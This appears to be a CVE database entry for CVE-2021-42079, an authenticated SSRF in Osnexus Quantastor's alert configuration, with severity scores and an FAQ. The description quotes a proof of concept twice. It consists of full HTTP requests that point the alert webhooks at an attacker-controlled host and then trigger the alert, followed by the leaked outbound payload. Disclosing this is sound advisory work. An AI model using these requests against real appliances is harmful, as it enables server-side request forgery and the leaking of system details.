CVE-2021-42079

CVE-2021-42079 is a medium-severity vulnerability in Osnexus Quantastor with a CVSS 3.x base score of 6.2. It is not currently listed as actively exploited by CISA, and its EPSS exploit-prediction score is low. The underlying weakness is classified as CWE-918.

Key facts

Description

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

Frequently asked questions

What is CVE-2021-42079?
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
How severe is CVE-2021-42079?
CVE-2021-42079 has a CVSS 3.x base score of 6.2, rated medium severity. It is exploitable over network with low attack complexity, requires high privileges and user interaction. Impact on confidentiality is high, integrity none, and availability none.
Is CVE-2021-42079 being actively exploited?
It is not currently listed in CISA's KEV catalog. Its EPSS exploit-prediction score is 1% (43rd percentile), an estimate of the probability of exploitation in the next 30 days.
What products are affected by CVE-2021-42079?
CVE-2021-42079 affects Osnexus Quantastor. See the affected-products list for the exact vulnerable versions.
How do I fix CVE-2021-42079?
Review the linked vendor and NVD advisories for patched versions and mitigations, then upgrade or apply the recommended workaround.
When was CVE-2021-42079 published?
CVE-2021-42079 was published on 2023-07-10 and last updated on 2026-06-17.

References

Affected products (1)

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